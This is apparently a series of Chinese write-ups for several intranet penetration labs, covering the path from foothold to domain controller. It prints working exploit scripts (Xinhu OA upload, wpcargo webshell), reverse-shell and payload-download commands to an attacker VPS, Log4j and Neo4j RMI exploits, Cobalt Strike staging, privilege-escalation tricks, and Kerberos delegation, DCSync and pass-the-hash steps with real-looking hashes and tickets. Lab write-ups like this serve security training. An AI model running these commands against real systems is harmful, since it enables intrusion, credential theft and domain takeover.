前言
接下来要持续更新写渗透的wp了,两个账号可以大大提高打渗透的进度,毕竟一个月沙砾也就那么点
Initial
为了节省沙砾,先过了很多遍流程,先统计好了需要用到的工具
| 工具 |
用途 |
Fscan |
信息扫描,发现有效端口,存活主机数量,漏洞检测 |
ThinkPhp综合检测工具 |
检测Thinkphp框架漏洞 |
[GTFOBins](https://gtfobins.github.io/) |
提权综合利用 |
stoawawy |
内网穿透工具 |
Proxychains |
内网穿透代理 |
Metasploit |
渗透框架 |
flag01
知识点:框架漏洞利用
打开靶机

首先用fscan扫描一下

发现存在thinkphp框架漏洞,用Thinkphp利用工具扫一下(多扫几遍,有时候会漏扫)

然后点击getshell,会上传一个马,密码是peiqi

然后我们就可以用蚁剑连接

读取flag发现没有权限,首先看看自己的权限,发现是www-data,很低的权限,用sudo -l 查看一下(本来还要suid提权的,这里急的搞忘了)

发现mysql存在sudo。https://gtfobins.github.io/去这里看看利用方式,搜索mysql,点击sudo

得到提权方式

1
|
sudo mysql -e '\! cat /root/flag/flag01.txt'
|
得到flag01

flag02
知识点:内网穿透、信乎oa历史漏洞利用
然后就需要通过这个外网访问到期中的内网了,我们上传两个文件,一个是Stowaway中的linux_x64_agent文件,一个是fscan(这里fscan传错了,这个linux执行不了,导致后面还要下linux运行的fscan。我的沙砾啊)


这里linux_x64_admin也是在stowaway目录下的,是vps上需要使用的,所以第一次打,需要在vps上给linux_x64_admin一个运行权限
1
2
3
|
chmod +x linux_x64_admin
./linux_x64_admin -l 8888 (因为我是内网穿透打法,用Cpolar将linux虚拟机的8888端口映射出去了)
|

然后在蚁剑中给linux_x64_agent一个运行权限
1
|
chmod +x linux_x64_agent
|

然后运行
1
|
./linux_x64_agent -c 8.148.66.159:12306 (这里我虚拟机的8888端口映射出去是8.148.66.159的12306端口)
|

连接成功

上面显示Node id is 0,所以需要选用这个节点(你可以同时用stowaway代理多个靶机,节点就是用来选择你要代理的靶机的)

启用socks协议,启用了socks协议之后就可以通过proxifier代理连接了,也可以用proxchains在对方内网环境里运行渗透工具
这里图片的socks是错的(之前的图)

然后在proxifier种进行配置,配置完之后,你本机的流量都走代理,就可以访问到内网了
(但其实,我这里并没有成功在浏览器访问内网,不知道是啥原因。但是我的蚁剑确实可以走这个代理)


回到stowaway,用shell命令可以在stowaway这里开始非交互式shell(也可以弹到交互式shell,有点麻烦)

查看一下ip,接下来用fscan扫描内网(由于内外网原因,这里在蚁剑的环境下是无法完成的,所以才需要用stowaway)

1
|
./fscan -h 172.22.1.0/24
|
扫描可以发现一个OA系统,一个存在MS17永恒之蓝的windows主机

先打OA

这里有个弱口令
网上可以找到历史漏洞,poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
|
这里还要配置一下proxychains4,注意一定是socks5

这样通过proxychains4 就可以将后面运行的exp.py放到对方内网环境中运行

这里是system用户可以直接拿到flag(非system用户就要提权了。windows提权还不清楚)

flag03
知识点:msf打永恒之蓝、DCSync攻击
然后我们打那个永恒之蓝的漏洞,需要用到msf
1
|
proxychains4 msfconsole //在其内网环境中启用msf
|

1
|
search ms17 //查找有关ms17的漏洞
|

1
|
use exploit/windows/smb/ms17_010_eternalblue //选择漏洞
|

1
|
show payloads //展示能用的payload
|

1
2
3
4
|
set payload windows/x64/meterpreter/bind_tcp_uuid //启用正向连接的payload
show options //展示还需要的选项
set rhosts 172.22.1.21 //设立靶机ip
run
|

出现meterpreter就是利用成功了,并且获取到了对方的shell
接下来我们需要通过DCSync攻击拿下域控机,这里简单介绍一下DCSync
DCSync 是一种在域环境中常用的攻击技术,利用域控制器之间的数据同步机制,通过模拟域控制器请求数据来获取敏感信息,如用户的哈希值。
1
2
3
|
getuid //查看权限,如果这里不是system权限的话就需要提权查看了
load kiwi //加载mimikatz模块,用于查看哈希
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" //查看所有哈希
|
这里就可以看到admin的哈希了

有了哈希之后,就可以通过crackmapexec执行命令了
1
|
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
|
解释一下
crackmapexec smb 172.22.1.2
smb:指定使用 SMB 协议
172.22.1.2:目标 IP 地址
-u administrator
-H 10cf89a850fb1cdbe6bb432b859164c8
-d xiaorang.lab
-x "type Users\Administrator\flag\flag03.txt"
-x 参数允许在目标系统上执行命令。这里执行的命令是:type Users\Administrator\flag\flag03.txt

总结
万事开头难,这个靶场真的打了很久,两个账号共计四个小时。主要是内网穿透这一块真的花了很久,不过之后利用起来就很舒服了。(这个总结是之后写的,所以感触不多)
Tsclient
依旧工具
| 工具 |
作用 |
fscan、stowaway |
老朋友 |
| CS |
windows上线 |
数据库利用工具MDUT |
连接数据库 |
impacket |
综合神奇,目前用于修改密码、登录域控 |
flag01
知识点:MDUT连接弱口令、上线CS、甜土豆提权
先fscan扫描一波,初步检测到MSSQL存在弱口令

这里直接用MDUT连接

查看用户权限,注意这里模式需要使用Sp的不然会产生报错
发现权限很低,就需要我们进行提权

先收集一些信息,这里用UTF-8会乱码

然后要提权嘛,可以
whoami /priv 是一个 Windows 命令,用于查看当前用户账户拥有的所有特权(Privileges)及其状态。
这些特权是操作系统级别的权限,允许用户执行特定的敏感操作
然后解释一下:身份验证后模拟客户端已启用
- 允许进程(程序)在身份验证后模拟(Impersonate)其他用户身份
- 即:一个服务或进程可以暂时"扮演"另一个用户的身份来访问资源
只要这个开启了,就可以用甜土豆进行提权

现在的问题是,MDUT并不支持直接上传文件,我们需要通过命令下载。
但是我们还需要上传stowaway和fscan所以这里直接上线CS
CS是个什么东西呢?其实主要是用来进行团队协作的,一个公网开启了服务之后,所有人都可以通过密码进行连接。这样就可以多人一起分析网络拓扑了。我们单人用这个主要是为了方便渗透操作
首先下载CS后,要上传到有公网ip的地方,vps也好,你穿透出去也行。
然后给个执行权限(服务端主要就是这个teamserver)

然后启用并连接
1
|
./teamserver 101.201.79.208 123456 (123456是密码)
|

连接成功之后,先开一个监听器

开启后,同步在你的公网里也会开始监听1111

然后生成一个payload,这个就是一个用于建立连接的可执行文件,靶机运行了这个exe之后就成功上线CS了


然后,我们需要在靶机运行这个exe,所以还是要用命令下载一下这个文件QAQ
先把exe上传到vps中

然后vps里用python开一个http服务
1
|
python3 -m http.server 80
|

然后再MDUT中执行下载命令(注意这里我们如果不加C:\Users\Public\beacon.exe的话,就会默认下载到当前文件夹,当前文件夹是不允许下载的。)
1
|
certutil -f -split -urlcache http://101.201.79.208/beacon.exe C:\Users\Public\beacon.exe
|

下载完之后直接运行,可以看到成功上线CS

这里可以调整一下这个回连间隔,改成0,不然每次执行命令都要等一分钟

然后,回到之前的思路,我们成功上线CS之后,需要上传甜土豆、fscan、stowaway。
打开文件浏览

还是找到public文件夹,在这里上传(可能会比较慢)

下载完之后可以直接复制,这里这样复制的话就是直接复制路径

读取看看甜土豆是否为system用户
1
|
shell C:\Users\Public\SweetPotato.exe -a whoami
|
很明显甜土豆可以提权

然后通过甜土豆运行之前传上去的exe文件,就可以将system用户上线
1
|
shell C:\Users\Public\SweetPotato.exe -a C:\Users\Public\beacon.exe
|

然后就可以获取flag了,找到flag的位置

读取就行
1
|
shell type C:\Users\Administrator\flag\flag01.txt
|

flag02
知识点:内网穿透、进程注入、密码喷洒,修改密码、远程连接、镜像劫持提权,CS转发上线
02就在内网中了,这里需要用stowaway开socks
1
|
./linux_x64_admin -l 8888
|

1
|
shell C:\Users\Public\windows_x64_agent.exe -c 101.201.79.208:8888
|

开启之后我们看看在线用户
发现了john

我们可以通过system用户进行进程注入,将john也上线cs


可以查看一些公共资源,挂载情况

发现了一个目录,列出目录并读取一下可疑文件
1
2
|
shell dir \\TSCLIENT\C
shell type \\TSCLIENT\C\credential.txt
|


发现了一套账号密码,可以尝试远程登录了,
1
|
xiaorang.lab\Aldrich: Ald@rLMWuy7Z!#
|
但是在远程连接之前还是需要fscan扫描一下内网
用stowaway运行fscan,发现46就是那个账号密码

1
2
3
4
|
172.22.8.18 WIN-WEB 已拿下
172.22.8.15 DC:XIAORANG\DC01
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab
|
用crackmapexec尝试进行密码喷洒,发现密码过期了

然后我们可以用impacket的smbpasswd.py进行密码修改。
这里一定要注意的是,新版impacket已经把subpasswd去除了。我们得下载历史版本0.9.24
1
|
proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$%'
|

RDP远程登录一下


登录成功,但是我们这个不是system用户,不能够读取flag。所以我们需要镜像劫持提权(前面提示),所以我们需要先看看修改注册表的权限

1
|
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
|
可以看到是Authenticated Users 拥有创建、设置读取的权限。
那么Authenticated Users是个什么东西呢?简单来说就是一个用户组
- 包括:
- 所有域用户(Domain Users)。
- 所有本地用户(Local Users)。
- 所有通过身份验证的计算机账户(Computer Accounts)。
- 不包括:
- 匿名用户(Anonymous)。
- Guest 账户(除非启用了 Guest 账户并进行了身份验证)。
所以,我们这个用户就是可以修改的

既然可以修改,我们添加一条到注册表中,意思就是将cmd绑定到放大镜中,这样我们打开放大镜就是打开cmd。有大用处,后面你就知道了
(修改注册表的方式进行提权就是镜像劫持提权)
1
|
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
|

然后因为这个机子是不出网的,只能用同样内网的机子访问,我们通过CS的代理转发上线搞个马进去



RDP远程登录之后的靶机可以通过复制粘贴传送文件

然后就是将桌面锁定一下,因为锁定之后的界面就是system用户,我们由绑定了cmd到放大镜中,所以,我们锁定界面打开放大镜,就是运行cmd,在那里运行我们用cs生成的文件,就可以成功上线cs了


成功上线CS(其实这里直接在cmd里找flag就行,我们上线CS是为了后续抓取哈希打域控的)
1
2
3
|
c:\\users\\public
dir
beacon123.exe
|

直接读取flag
1
|
shell type C:\Users\Administrator\flag\flag02.txt
|

flag03
知识点:CS抓取哈希、哈希登录域控
查看一下域控管理员是哪个
1
|
shell net group "domain admins" /domain
|
发现就是本机,那就简单了

抓取一波明文密码,这里可以抓到哈希


找到哈希之后用impacked的wmiexec.py直接登录域控,smbexec.py好像也可以,没试过
1
2
3
|
2efb0ad79e4c0842c93f368dcd4e8296
proxychains python3 wmiexec.py -hashes :2efb0ad79e4c0842c93f368dcd4e8296 xiaorang.lab/WIN2016\$@172.22.8.15 -codec gbk
|

直接读!结束
1
|
type C:\Users\Administrator\flag\flag03.txt
|

总结
这个靶场学到了很多东西啊,首先就是MDUT了解一些使用,然后是CS的使用,这个靶场写下来,感觉CS都成老朋友了。然后就是两个提权手段,甜土豆和镜像劫持。感觉镜像劫持还真提好用的,不过还是要看一下权限。最后就是impacket这个集成工具的一些使用,说实话都不知道原理,之后遇到报错都不知道怎么办,不过也先就这样吧。
Brute4Road
依旧
| 工具 |
用途 |
MDUT、stowaway、fscan |
老朋友 |
Redis Rogue Server |
打redis主从复制rce |
bloodhount |
分析域环境 |
powerView.ps1 |
获取域内信息 |
Rubues |
约束性委派攻击 |
flag01
知识点:redis主从复制rce,base64提权
老规矩,拿到站点先用fscan扫一下,发现redis未授权

直接用MDUT进行连接

连接成功后发现执行命令会报错,也无法写计划任务反弹shell、webshell都不可以

尝试打redis主从复制,用的是Dliv3/redis-rogue-server: Redis 4.x/5.x RCE。这里默认21000端口,要记得开放端口
1
|
python3 redis-rogue-server.py --rhost 39.98.125.91 --lhost 101.201.79.208
|
成功获取道了交互式shell

但是这个shell看起来很烦,我就直接wget传stowaway的客户端了
1
|
wget http://101.201.79.208/linux_x64_agent
|

然后和之前一样连接就可

在stowaway中打开交互式shell查看权限发现式redis权限,需要提权,
1
|
find / -perm -4000 2>/dev/null
|
找到了base64

去https://gtfobins.github.io/看看用法,这里明显可以读取文件

直接构造获取flag
1
|
base64 "/home/redis/flag/flag01" | base64 --decode
|

flag02
知识点:wpscan、wpcargo插件漏洞、蚁剑CMDLinux连接方式、wp-config拿数据库密码
下一步就是进入内网,我们需要远程下载一个fscan
1
|
wget http://101.201.79.208/fscan
|
然后看看自己的ip,直接运行


总结如下,我们下一步先去看看web02这个内网
| 目前ip |
信息 |
| 172.22.2.34 |
XIAORANG\CLIENT01 |
| 172.22.2.7 |
redis(已拿下) |
| 172.22.2.3 |
DC:DC.xiaorang.lab |
| 172.22.2.16 |
MSSQLSERVER |
| 172.22.2.18 |
WORKGROUP\UBUNTU-WEB02 |
登录后发现是一个WordPress框架的文章

直接使用官方的扫描器wpscan检测一下,wpscan也是kali自带的扫描器,不需要自己下载
这里本来应该是要加上api的,这样才能检测漏洞,不然只能检测版本。但是加上api我一直成功不了,很难受。
1
2
|
wpscan --update
proxychains4 wpscan --url http://172.22.2.18
|

这里找到wpcargo这个插件里有一个rce漏洞,利用如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://172.22.2.18/'
cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
|
用proxychains4代理一下就行

之后就是用蚁剑连接,这里的马比较特殊,要传两个参数,不过蚁剑对这种马特意做了适配

进去之后我们无法开启终端(不知道为什么)在config文件里找到了数据库的用户和密码


尝试连接

找到flag

flag03
知识点:爆破MSSQL、甜土豆提权、RDP远程连接
| 目前ip |
信息 |
| 172.22.2.34 |
XIAORANG\CLIENT01 |
| 172.22.2.7 |
redis(已拿下) |
| 172.22.2.3 |
DC:DC.xiaorang.lab |
| 172.22.2.16 |
MSSQLSERVER |
| 172.22.2.18 |
WORKGROUP\UBUNTU-WEB02 (已拿下) |
数据库中还找到了一个密码字典,结合还剩下的MSSQL这里明显就是要我们爆破

1
|
proxychains4 -q hydra -l sa -P passwd.txt mssql://172.22.2.16
|
爆破出密码ElGNkOiC
(其实这里我没有爆破出来,很是奇怪,真的密码确实在里面,但是用了好几个爆破工具都爆不出)
MDUT连接mssql数据库

拿到shell老样子看看权限
这里明显看到这个SelmpersonatePrivilege启用了,依旧甜土豆提权

本来吧,这里应该用wget远程下载上线CS的,但是这里不出网,然后这里激活一下组件就可以上传了?
之前不是传不了来着,下次去试一下


上传之后,查看一下是否可以利用
1
|
C:/Users/Public/SweetPotato.exe -a whoami
|
明显可以,现在就是系统用户了

然后我们其实可以直接读取flag了,但是这里方便后续flag04的获取,我们看看能不能RDP或者传到MSF上
1
|
C:/Users/Public/SweetPotato.exe -a "netstat -ano"
|
可以看到这里开放了3389,我们直接进行远程连接

添加管理员用户,并连接
1
2
|
C:/Users/Public/SweetPotato.exe -a "net user liernian qwer123! /add"
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators liernian /add"
|

然后直接读flag

flag04
知识点:约束性委派(SharpHound获取域内信息、powerView.ps1查看委派服务、mimikazi抓取哈希约束性委派、Rubeus申请票据并导入内存)
| 目前ip |
信息 |
| 172.22.2.34 |
XIAORANG\CLIENT01 |
| 172.22.2.7 |
redis(已拿下) |
| 172.22.2.3 |
DC:DC.xiaorang.lab |
| 172.22.2.16 |
MSSQLSERVER (已拿下) |
| 172.22.2.18 |
WORKGROUP\UBUNTU-WEB02 (已拿下) |
最后,我们需要拿下域控,首先先看看我们这个用户在不在域里
1
|
C:/Users/Public/SweetPotato.exe -a "net time /domain"
|
明显是在的

也可以用systeminfo查看

我们上传mimikatz和SharpHound,尝试获取一下域内信息
(后面还有PowerView.ps1和Rubeus)

获取域内信息需要系统权限,我们RDP的本地管理员权限,是不够的。所以我们还需要提权,这里直接用上次的镜像劫持提权,修改放大镜注册表
1
|
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
|

然后再锁定界面打开放大镜
1
2
|
cd c:\Users\liernian\Desktop
SharpHound.exe -c all
|

就获得了这个压缩包

然后我们在自己docker搭建的BLOODHOUND里导入压缩包,就可以分析出域内的信息了


这里可以看到域控对我们拿下的MSSQL这个机子有委派任务,我们还需要查看一下是什么委派任务

传一个powerView.ps1
1
2
3
4
|
cd c:\Users\liernian\Desktop
powershell
Import-Moudule PowerView.ps1
Get-DomainComputer -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
|
这里可以看到是对DC有一个LDAP的委派服务

之后我们就可以打约束性委派,首先先抓取一下MSSQL这台机子的哈希
管理员权限打开mimikatz
1
2
3
|
privilege::debug
log 1.txt
sekurlsa::logonpasswords
|

在txt中就可以直接查找了

有了这个NTLM的哈希之后就可以用 Rubeus 与 MSSQLSERVER$ 的凭证向KDC(密钥分发中心)申请一个TGT(票据授权票据) 并用base64格式打印出来
1
|
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:4b450a5ce961ae424b3b14d8967dd936 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
|

然后通过 S4u2seflt 拓展协议使用 TGT 向 TGS(票据授予服务器) 请求代表 Administrator 用户访问 DC.xiaorang.lab 上的 LDAP 服务 的 ST(服务票据)
并导入内存当中
1
|
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0hFOwZL3iBCbPWZfK9pcQbq2UP4bIjpghsMyO9AtMFb08ZHbGUdA8e7abXUQZb/l0hof6LJ6PYh9umYK23dZi3B3yTzt0AGIa5cNzg/uCYik9yN6+StrpkgvQRyDkOec2rbsLioYyDfYfwJ7iVhwkfVfNveDSCviaVl//Uo/VLn6vg6H0bcbhDCcZzUAntG/AXUO0mazjz/RNeemtMWFs1SCkQLcDYrGvM7suLZk+vgbtczOUeTLEIQe1jzCls+yMlX1Vck0VqTpmv0p0E4sg2e4qbOY+gmIOO3KF90BY3fDNZR3lcRiH82K9oxiYjwwCH2cQb93d1z9dHPxZHqkXxpEIAW46hqKbcE2T36JGWnZbtCNmLR9khn+xz+fjHtJckCzJatv6ZRQIwFvpTMsEP7kg6hBps/wFddFw32IgBeGV5V3wvdes+DlNsJCMc1qo5+sZo6A/k573I4l7Dj9DH3AV3q5KFpufesOMj+hkATCaiUCTKzfjjxU5JOt38fYHxi35PtiwvmdSI5BA+V74d4FpcAv+WNtiMg2ITvxJb/Tr280guZNNOhPNVVoM73N9+j2jW3izSAolTuTHg2cEWleHMOR643e+bPLe7bSDk+xYiEKBJbfcbX42sU1639qMYN5ggtjdehbEFBk5l6lSZQCwxjdokRt7zNnxXxDjDkjZXsmeNUCe0OFkK/sl023/Yn8V4QfmDyO6oJj7027bSpWXsWXvRIK1BgACW6oUON72zCQECkjSdIp3kIXrMHatcpNqGC0pbkpc+iD7IIzm9tXC3eHGMghDH/d5C4gs03RT5o3rt+moQHRHQXxIGaP5LigUutHs2GXvfXtqeVAFHGgeDoSpS0wIxjcMn/QpaHe+2+JFOE5qCWy4gAIHV7Z4/vTGzo28TnbUdu8+I5SVdFPUAU6Srr1P086QKba8lGn2B0Rkml61kRzhJ35EKIWK7CkKRtfgUgt6p8nJGglkSW4y3U5t6Sr5kQPM3jUp5icmgVs9O9duiRHlzElaDbrJgqyP1sR+u17DJgNXNirJCLPhxsOuZXyLNyfGD38GPnN31MD+gWF9Eas0aqUoQxETLXXR5y5xY7QdHf125PsBh4kznXtccCZMcyHVHvXhh+052+HS2rgOVzyZmc8LCb0RhaFO/gQHjvbsYKpXtPY+LAEirQPdlM5Tjdq1JCVNjOxyX5+m4iueOfYcWEs3ZgVlXThNscZzHWorjyEEZV+nXxYuU9wTpLKsNl/EekmX2O+TNJ3avxWUWoPy5VP+cisJFhL/Oiv9xatr5A//FmaS863irVL4yYJX3han82bJTZEeL4YQbdCMJqtagfqrfGO46KI716Zsef9Se2pega0m8zioUr1U9DmTHIyi47ze/WqJFNUVf+BqfPbqtTCAkdLNKAnba1iPoVSanGUk3gnc90tMaWVjpT217S+kVZxqpYs1CC5kY/0nBWTZB+smjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBWdInHkEa+dbjWDbE0BGCkoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDExMDA5MzkxNlqmERgPMjAyNjAxMTAxOTM5MTZapxEYDzIwMjYwMTE3MDkzOTE2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
|

之后就可以直接和域内机子交互了,这里其实也可以打PTH不过已经没啥必要了
1
|
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
|

总结
打了很久的靶场,搞环境就搞了很久,还好是十号会员日打的,打了一天也只花了两个沙砾。
有些问题没有解决,首先是wpscan的api接上之后没有成功扫描,然后是爆破密码的时候一直没有爆出来,中间还换了几个爆破软件都不行。还有MDUT之前不是不能直接上传文件,需要上线CS吗?这里我是没成功上线CS,下次试试Tsclient那个MDUT弱口令能不能直接上传文件
真的学到了蛮多的,主要就是约束性委派这里无论是配置环境还是找工具花了不少时间,之后考虑在后面写一个知识点总结,总结一下一些漏洞原理之类的
Time
flag01
知识点:Neo4j未授权RCE
老规矩,fscan
发现打开了7687端口,是Neo4j的服务

打Neo4j未授权RCE,rce进行反弹shell
1
|
/jdk1.8.0/bin/java -jar rhino_gadget.jar rmi://39.101.142.175:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
|


获取flag

flag02
知识点:sql注入
上线一下stowaway
(记得在tmp目下下载)

扫一下内网

| 存活ip |
服务 |
| 172.22.6.25 |
WIN2019.xiaorang.lab 域内主机有 |
| 172.22.6.38 |
内网web机 开放80端口 |
| 172.22.6.36 |
neo4j web入口机 已拿下 |
| 172.22.6.12 |
DC:DC-PROGAME.xiaorang.lab 域控 |
肯定是打web机,发现一个登录页面,可以打sql注入,这里直接用sqlmap跑了

bp抓包可以加上socks代理(我没找到 ,最后是在虚拟机里,proxifier+bp内置浏览器抓包)

加一个*表示注入点

后续不多赘述
1
|
proxychains python sqlmap.py -r bp.txt --dbs
|

1
|
proxychains -q python sqlmap.py -r bp.txt -D oa_db --table
|
发现有flag和users,都去读来看看

1
|
proxychains -q python sqlmap.py -r bp.txt -D oa_db -T oa_f1Agggg -C flag02 --dump
|

flag03&flag04
知识点:AS-REP-Roasting、PTH
| 存活ip |
服务 |
| 172.22.6.25 |
WIN2019.xiaorang.lab 域内主机 |
| 172.22.6.38 |
内网web机 开放80端口 (拿下) |
| 172.22.6.36 |
neo4j web入口机 (已拿下 ) |
| 172.22.6.12 |
DC:DC-PROGAME.xiaorang.lab 域控 |
读取一下用户
1
|
proxychains -q python sqlmap.py -r bp.txt -D oa_db -T oa_users --dump
|
我们发现了很多用户,可以用impacket的GetNPUsers.py对没开启域身份证明的读取哈希,原理如下
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

本来可以用Kebrute枚举一下活跃用户,不过我发现这一步是可以省略的
1
|
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile users.txt xiaorang.lab/
|

1
|
$krb5asrep$23$wenshao@XIAORANG.LAB:dce4537615830d444878b96777ff69f3$7e3c8e666a32b85e23995a6f78d5facceed6884785e11e62abd70d563e770a1812efd26a8eb9ea974966c90006ada2ad0db1ff5c1381cfbfedb4f89377c40fcc24637a054f6e740319ee8f3f4b2d08500f2ac5e574174f4e96a1369079fe67063ceb03a1235ac981a53d5a508e38f9c28f6effd503b33e92db9d713865bcf3c7e84ca481009be4c0a4d49bf0ecb01911d6b0ee3b18ce77d6bccb8ddec0c00007658efdfc2fdb1d798095a5cd1ffb24bc0dbb40fd0a0a002bcade046edc0b9400b8986cea529978a7e43dbee38951378fadeeb8f1c59b9abc0766ee5edcbca7dc912ca9e31570f260730109ee
|
配合rockyou和hashcat进行爆破
1
|
hashcat -m 18200 -a 0 --force hash.txt rockyou.txt
|

这里其实还要密码喷涂一下,但是因为只剩一台主机了,就不搞了,浪费沙砾
只能登录25,域用户需要加上后面的域名

用血猎犬获取域内信息
可以看到我们登录的25这台机子拥有yuxuan这个用户的session,也就是说,yuxuan这个用户在25这台机子上设置了自动登录之类的操作
然后发现yuxuan这个用户和域管理员有SID
SID(安全标识符):每个用户、组或计算机在域中拥有唯一的 SID,用于标识身份和权限

在25里查看一下yuxuan的密码
1
2
3
4
|
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
这条命令查询 Windows 注册表中 Winlogon 键的值,该键存储与用户登录相关的配置信息
Winlogon 键通常包含自动登录(AutoLogon)的设置
|


登录后直接抓哈希打PTH就行
1
2
3
|
lsadump::dcsync /domain:xiaorang.lab /all
lsadump::dcsync /domain:xiaorang.lab /user:administrator
|

1
2
3
4
5
|
04d93ffd6f5f6e4490e0de23f240a5e9
proxychains4 python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.25
proxychains4 python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.12
|



总结
一个还算简单的靶场,主要考点就是AS-REP-Roasting,后续还有一个SID的小知识点。
Certify
flag01
知识点:log4j漏洞利用、grc提权
老规矩fscan


可以发现有log4j

尝试用dns检测一下
1
|
http://39.98.112.60:8983/solr/admin/cores?action=${jndi:ldap://ju7mdu.dnslog.cn}
|
成功了,可以进行利用

记得开vps的策略组
1
2
3
|
/jdk1.8.0/bin/java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 101.201.79.208
nc -lvp 8888
|
1
|
http://39.98.116.74:8983/solr/admin/collections?action=${jndi:ldap://101.201.79.208:1389/Basic/ReverseShell/101.201.79.208/8888}
|
成功拿到shell

但是权限低,需要提权

搜索相关提权

提权成功


flag02
知识点:SMB空密码、文件共享
1
|
wget http://101.201.79.208/linux_x64_agent
|

| ip |
|
| 172.22.9.19 |
外网机(拿下) |
| 172.22.9.7 |
域控 |
| 172.22.9.26 |
主机 |
| 172.22.9.47 |
开了fileserver |

尝试登录一下(其实这里要密码喷洒一下)
1
|
proxychains4 smbclient -L 172.22.9.47
|
成功了

直接读文件
1
|
proxychains4 smbclient //172.22.9.47/fileshare
|


get下载文件到本地

flag03&4
知识点:SPN、哈希爆破、AD-CS
还有一个db文件,我们下载下来看看
DB文件查看 SQLite查看
发现是账号和用户名


尝试密码喷洒,喷洒到了但是RDP登不上去
1
|
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success
|
提示说是SPN,用impacket的GetUserSPNs获取SPN
1
|
proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
|
得到了两个,一个是zhangxia的一个是chenchen的

1
2
3
4
|
